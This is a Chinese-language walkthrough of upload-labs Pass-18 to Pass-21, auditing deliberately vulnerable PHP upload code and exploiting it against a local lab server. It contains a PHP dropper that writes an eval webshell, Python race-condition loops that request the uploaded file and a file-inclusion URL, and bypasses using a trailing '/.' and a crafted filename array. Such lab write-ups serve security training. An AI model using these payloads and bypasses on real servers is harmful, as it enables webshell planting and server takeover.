upload-labs(Pass-18 ~ Pass-21)

1、Pass-18(条件竞争)

1、题目需要进行代码审计:

php 复制代码
<?php
include '../config.php';
include '../head.php';
include '../menu.php';

$is_upload = false;
$msg = null;

if(isset($_POST['submit'])){
    $ext_arr = array('jpg','png','gif');//白名单
    $file_name = $_FILES['upload_file']['name'];
    $temp_file = $_FILES['upload_file']['tmp_name'];
    $file_ext = substr($file_name,strrpos($file_name,".")+1);
    $upload_file = UPLOAD_PATH . '/' . $file_name;//得到上传路径,即为upload/ + 文件名

    if(move_uploaded_file($temp_file, $upload_file)){//上传文件,即将文件上传到$upload_file目录下
        if(in_array($file_ext,$ext_arr)){//匹配白名单,若该文件后缀在白名单中则进入
             $img_path = UPLOAD_PATH . '/'. rand(10, 99).date("YmdHis").".".$file_ext;
             rename($upload_file, $img_path);//修改文件名
             $is_upload = true;
        }else{
            $msg = "只允许上传.jpg|.png|.gif类型文件!";
            unlink($upload_file);//删除该文件
        }
    }else{
        $msg = '上传出错!';
    }
}
?>

所以我们只要上传的文件后缀不是白名单中的,该文件就还是会被删除

2、思路:

我们可以上传一个php文件其中代码为:

php 复制代码
<?php
fputs(fopen("shell.php","w"),"<?php @eval(\$_POST[1]);?>");
?>

由于该文件后缀不是白名单中的,该文件就还是会被删除;

但是,服务器删除该php文件是有一定的延迟的,若我们在这延迟中访问了该php代码,那么就会在当前目录生成shell.php文件

3、实践:

(1)、抓包进入爆破模块:

(2)发包:

此时就在源源不断的上传文件1.php,服务器也在一直删除该文件;

与此同时,我们得不断访问该文件,可以写个python脚本来访问:

python 复制代码
import requests


while 1:
    url = "http://192.168.80.128/upload-labs/upload/1.php" #填入url

    html = requests.get(url)
    print(html.text)

(3)、访问shell.php:

2、Pass-19(条件竞争 + 图片马)

注:

本题代码有一处有点问题需要修改,即myupload.php中:

php 复制代码
function setDir( $dir ){
    
    if( !is_writable( $dir ) ){
      return "DIRECTORY_FAILURE";
    } else { 
      $this->cls_upload_dir = $dir . '/';//设置文件夹,需要后面加上'/'
      return 1;
    }
  }

1、进行代码分析:

index.php:

php 复制代码
<?php
include '../config.php';
include '../head.php';
include '../menu.php';

$is_upload = false;
$msg = null;
if (isset($_POST['submit']))
{
    require_once("./myupload.php");
    $imgFileName =time();
    $u = new MyUpload($_FILES['upload_file']['name'], $_FILES['upload_file']['tmp_name'], $_FILES['upload_file']['size'],$imgFileName);//调用myupload.php的MyUpload方法传入参数
    $status_code = $u->upload(UPLOAD_PATH);//调用myupload.php的upload方法处理文件
    switch ($status_code) {
        case 1:
            $is_upload = true;
            $img_path = $u->cls_upload_dir . $u->cls_file_rename_to;
            break;
        case 2:
            $msg = '文件已经被上传,但没有重命名。';
            break; 
        case -1:
            $msg = '这个文件不能上传到服务器的临时文件存储目录。';
            break; 
        case -2:
            $msg = '上传失败,上传目录不可写。';
            break; 
        case -3:
            $msg = '上传失败,无法上传该类型文件。';
            break; 
        case -4:
            $msg = '上传失败,上传的文件过大。';
            break; 
        case -5:
            $msg = '上传失败,服务器已经存在相同名称文件。';
            break; 
        case -6:
            $msg = '文件无法上传,文件不能复制到目标目录。';
            break;      
        default:
            $msg = '未知错误!';
            break;
    }
}
?>

myupload.php(带注释):

php 复制代码
<?php

class MyUpload{    

  var $cls_upload_dir = "";         // Directory to upload to.
	var $cls_filename = "";           // Name of the upload file.
	var $cls_tmp_filename = "";       // TMP file Name (tmp name by php).
  var $cls_max_filesize = 33554432; // Max file size.
  var $cls_filesize ="";            // Actual file size.
  var $cls_arr_ext_accepted = array(
      ".doc", ".xls", ".txt", ".pdf", ".gif", ".jpg", ".zip", ".rar", ".7z",".ppt",
      ".html", ".xml", ".tiff", ".jpeg", ".png" );
  var $cls_file_exists = 0;         // Set to 1 to check if file exist before upload.(当设置参数值为1时,就会在上传前检查文件是否存在)
  var $cls_rename_file = 1;         // Set to 1 to rename file after upload.(当设置参数值为1时,就会在上传文件之后修改文件名)
  var $cls_file_rename_to = '';     // New name for the file after upload.
  var $cls_verbal = 0;              // Set to 1 to return an a string instead of an error code.

  /** constructor()
   **
   ** @para String File name
   ** @para String Temp file name
   ** @para Int File size
   ** @para String file rename to
  **/
  function MyUpload( $file_name, $tmp_file_name, $file_size, $file_rename_to = '' ){
  
    $this->cls_filename = $file_name;//文件名
    $this->cls_tmp_filename = $tmp_file_name;//临时文件名
    $this->cls_filesize = $file_size;//文件大小
    $this->cls_file_rename_to = $file_rename_to;//文件重命名
  }

  /** isUploadedFile()
   **
   ** Method to wrap php 4.0.3 is_uploaded_file fct
   ** It will return an error code if the file has not been upload to /tmp on the web server
   ** (look with phpinfo() fct where php store tmp uploaded file)
   ** @returns string
  **/
  function isUploadedFile(){
    
    if( is_uploaded_file( $this->cls_tmp_filename ) != true ){//is_uploaded_file() 函数判断指定的文件是否是通过 HTTP POST 上传的
      return "IS_UPLOADED_FILE_FAILURE";
    } else {
      return 1;
    }
  }

  /** setDir()
   **
   ** Method to set the directory we will upload to. 
   ** It will return an error code if the dir is not writable.
   ** @para String name of directory we upload to
   ** @returns string
  **/
  function setDir( $dir ){
    
    if( !is_writable( $dir ) ){
      return "DIRECTORY_FAILURE";
    } else { 
      $this->cls_upload_dir = $dir . '/';//若upload文件在存在,设置$this->cls_upload_dir=upload
      return 1;
    }
  }

  /** checkExtension()
   **
   ** Method to check if we accept the file extension.
   ** @returns string
  **/
  function checkExtension(){//检查扩展名
    
    // Check if the extension is valid

    if( !in_array( strtolower( strrchr( $this->cls_filename, "." )), $this->cls_arr_ext_accepted )){
      return "EXTENSION_FAILURE";
    } else {
      return 1;
    }
  }

  /** checkSize()
   **
   ** Method to check if the file is not to big.
   ** @returns string
  **/
  function checkSize(){//大小要小于33554432

    if( $this->cls_filesize > $this->cls_max_filesize ){
      return "FILE_SIZE_FAILURE";
    } else {
      return 1;
    }
  }

  /** move()
   **
   ** Method to wrap php 4.0.3 fct move_uploaded_file()
   ** @returns string
  **/
  function move(){//上传文件
    
    if( move_uploaded_file( $this->cls_tmp_filename, $this->cls_upload_dir . $this->cls_filename ) == false ){
      return "MOVE_UPLOADED_FILE_FAILURE";
    } else {
      return 1;
    }

  }

  /** checkFileExists()
   **
   ** Method to check if a file with the same name exists in
   ** destination folder.
   ** @returns string
  **/
  function checkFileExists(){//检查在upload目录下文件是否已经存在
    
    if( file_exists( $this->cls_upload_dir . $this->cls_filename ) ){
      return "FILE_EXISTS_FAILURE";
    } else {
      return 1;
    }
  }

  /** renameFile()
   **
   ** Method to rename the uploaded file.
   ** If no name was provided with the constructor, we use
   ** a random name.
   ** @returns string
  **/

  function renameFile(){//进行修改文件名

    // if no new name was provided, we use

    if( $this->cls_file_rename_to == '' ){//未设置文件名

      $allchar = "abcdefghijklnmopqrstuvwxyz" ; 
      $this->cls_file_rename_to = "" ; 
      mt_srand (( double) microtime() * 1000000 ); 
      for ( $i = 0; $i<8 ; $i++ ){
        $this->cls_file_rename_to .= substr( $allchar, mt_rand (0,25), 1 ) ; 
      }
    }    
    
    // Remove the extension and put it back on the new file name
		
    $extension = strrchr( $this->cls_filename, "." );
    $this->cls_file_rename_to .= $extension;
    
    if( !rename( $this->cls_upload_dir . $this->cls_filename, $this->cls_upload_dir . $this->cls_file_rename_to )){
      return "RENAME_FAILURE";
    } else {
      return 1;
    }
  }
  
  /** upload()
   **
   ** Method to upload the file.
   ** This is the only method to call outside the class.
   ** @para String name of directory we upload to
   ** @returns void
  **/
  function upload( $dir ){//index.php调用了upload方法,并传入$dir='upload'
    
    $ret = $this->isUploadedFile();//判断文件是否是正常上传过来的,若是则$ret=1
    
    if( $ret != 1 ){//若文件不是正常上传过来的,通过resultUpload方法返回指定数值
      return $this->resultUpload( $ret );
    }

    $ret = $this->setDir( $dir );//设置上传文件夹,成功返回$ret=1
    if( $ret != 1 ){//出错返回
      return $this->resultUpload( $ret );
    }

    $ret = $this->checkExtension();//检查上传文件的后缀是否在白名单中
    if( $ret != 1 ){//不在返回出错
      return $this->resultUpload( $ret );
    }

    $ret = $this->checkSize();//检查文件大小
    if( $ret != 1 ){//太大返回出错
      return $this->resultUpload( $ret );    
    }
    
    // if flag to check if the file exists is set to 1
    
    if( $this->cls_file_exists == 1 ){
      
      $ret = $this->checkFileExists();//若文件已经存在返回出错
      if( $ret != 1 ){
        return $this->resultUpload( $ret );    
      }
    }

    // if we are here, we are ready to move the file to destination

    $ret = $this->move();//将文件上传到upload目录下
    if( $ret != 1 ){//出错返回
      return $this->resultUpload( $ret );    
    }

    // check if we need to rename the file

    if( $this->cls_rename_file == 1 ){
      $ret = $this->renameFile();
      if( $ret != 1 ){//出错返回
        return $this->resultUpload( $ret );    
      }
    }
    
    // if we are here, everything worked as planned :)

    return $this->resultUpload( "SUCCESS" );//返回成功
  
  }

  /** resultUpload()
   **
   ** Method that returns the status of the upload
   ** (You should put cls_verbal to 1 during debugging...)
   ** @para String Status of the upload
   ** @returns mixed (int or string)
  **/
  function resultUpload( $flag ){

    switch( $flag ){
      case "IS_UPLOADED_FILE_FAILURE" : if( $this->cls_verbal == 0 ) return -1; else return "The file could not be uploaded to the tmp directory of the web server.";
        break;
      case "DIRECTORY_FAILURE"        : if( $this->cls_verbal == 0 ) return -2; else return "The file could not be uploaded, the directory is not writable.";
        break;
      case "EXTENSION_FAILURE"        : if( $this->cls_verbal == 0 ) return -3; else return "The file could not be uploaded, this type of file is not accepted.";
        break;
      case "FILE_SIZE_FAILURE"        : if( $this->cls_verbal == 0 ) return -4; else return "The file could not be uploaded, this file is too big.";
        break;
      case "FILE_EXISTS_FAILURE"      : if( $this->cls_verbal == 0 ) return -5; else return "The file could not be uploaded, a file with the same name already exists.";
        break;
      case "MOVE_UPLOADED_FILE_FAILURE" : if( $this->cls_verbal == 0 ) return -6; else return "The file could not be uploaded, the file could not be copied to destination directory.";
        break;
      case "RENAME_FAILURE"           : if( $this->cls_verbal == 0 ) return 2; else return "The file was uploaded but could not be renamed.";
        break;
      case "SUCCESS"                  : if( $this->cls_verbal == 0 ) return 1; else return "Upload was successful!";
        break;
      default : echo "OUPS!! We do not know what happen, you should fire the programmer ;)";
        break;
    }
  }

}; // end class

// exemple
/*

if( $_POST['submit'] != '' ){

  $u = new MyUpload( $_FILES['image']['name'], $_FILES['image']['tmp_name'], $_FILES['image']['size'], "thisname" );
  $result = $u->upload( "../image/upload/" );
  print $result;

}

print "<br><br>\n";
print "<form enctype='multipart/form-data' method='post' action='". $PHP_SELF ."'>\n";
print "<input type='hidden' name='MAX_FILE_SIZE' value='200000'>\n";
print "<input type='file' name='image'>\n";
print "<input type='submit' value='Upload' name='submit'>\n";
print "</form>\n";
*/
?>

可知代码的思路是:检查文件大小,后缀等信息,不符合则上传失败,若上传成功则随机化文件名(即在现实中,我们不知道文件名;但本题可以知道,我们以不知道来进行解答)

2、所以思路是,我们上传一个图片马,在服务器修改文件名的间隙,通过文件包含漏洞,向服务器写入一个后门

3、实践:

操作跟上一关差不多

利用python文件进行包含:

python 复制代码
import requests


while 1:
    url = "http://192.168.80.128/upload-labs/include.php?file=./upload/2.png" #填入url

    html = requests.get(url)
    print(html.text)

这里是否写入也是概率问题,多跑几次

3、Pass-20(上传文件名可控move_uploaded_file)

1、本题我们可以任意写出我们想要上传的文件名,由于move_uploaded_file会忽略末尾的/.,进行后缀获取的时候,获取到空,所以也可以用来绕过黑名单;

输出后缀:

可知为空

2、上传:

访问:

4、Pass-21(逻辑漏洞)

1、代码分析:

php 复制代码
<?php
include '../config.php';
include '../common.php';
include '../head.php';
include '../menu.php';


if (isset($_POST['submit'])) {
    if (file_exists(UPLOAD_PATH)) {

        $is_upload = false;
        $msg = null;
        if(!empty($_FILES['upload_file'])){
            //mime check
            $allow_type = array('image/jpeg','image/png','image/gif');
            if(!in_array($_FILES['upload_file']['type'],$allow_type)){
                $msg = "禁止上传该类型文件!";
            }else{
                //check filename
                $file = empty($_POST['save_name']) ? $_FILES['upload_file']['name'] : $_POST['save_name'];
                if (!is_array($file)) {//若$file不为数组,则将$file以点分开,得到字符串数组
                    $file = explode('.', strtolower($file));
                }

                $ext = end($file);//获取数组的最后一位
                $allow_suffix = array('jpg','png','gif');//白名单
                if (!in_array($ext, $allow_suffix)) {
                    $msg = "禁止上传该后缀文件!";
                }else{
                    $file_name = reset($file) . '.' . $file[count($file) - 1];//取数组第一个元素和最后一个拼接
                    $temp_file = $_FILES['upload_file']['tmp_name'];
                    $img_path = UPLOAD_PATH . '/' .$file_name;
                    if (move_uploaded_file($temp_file, $img_path)) {
                        $msg = "文件上传成功!";
                        $is_upload = true;
                    } else {
                        $msg = "文件上传失败!";
                    }
                }
            }
        }else{
            $msg = "请选择要上传的文件!";
        }
        
    } else {
        $msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
    }
}



?>

2、我将代码简化,上面代码逻辑等同于:

php 复制代码
<?php
$name=$_GET['name'];//输入的文件名
$ext=end($name);//取最后一个元素
$allow_suffix = array('jpg','png','gif');//白名单
                if (!in_array($ext, $allow_suffix)) {
                    $msg = "禁止上传该后缀文件!";
                }else{
                    $file_name = reset($name) . '.' . $name[count($name) - 1];//取数组第一个元素和最后一个拼接
		    echo count($name) . '</br>';
                    echo $file_name . '</br>';
                }

var_dump($name);
?>

其中

end函数:取最后一个元素

reset:取第一个元素

所以我们的思路是:我们自己传入数组,不用代码中的explode进行分割形成数组。

由于有黑名单,所以我们输入的数组最后一个元素必须为jpg、png或者gif

而这里的所及漏洞是后面的文件名拼接,文件后缀是取数组元素减一所指的元素,若我们让数组本身元素少于下标最后绕过;

3、实践:

4、访问:

相关推荐
用户962377954485 天前
VulnHub DC-3 靶机渗透测试笔记
安全
叶落阁主6 天前
Tailscale 完全指南:从入门到私有 DERP 部署
运维·安全·远程工作
用户962377954488 天前
DVWA 靶场实验报告 (High Level)
安全
数据智能老司机8 天前
用于进攻性网络安全的智能体 AI——在 n8n 中构建你的第一个 AI 工作流
人工智能·安全·agent
数据智能老司机8 天前
用于进攻性网络安全的智能体 AI——智能体 AI 入门
人工智能·安全·agent
用户962377954488 天前
DVWA 靶场实验报告 (Medium Level)
安全
red1giant_star8 天前
S2-067 漏洞复现:Struts2 S2-067 文件上传路径穿越漏洞
安全
用户962377954488 天前
DVWA Weak Session IDs High 的 Cookie dvwaSession 为什么刷新不出来?
安全
cipher10 天前
ERC-4626 通胀攻击:DeFi 金库的"捐款陷阱"
前端·后端·安全
一次旅行13 天前
网络安全总结
安全·web安全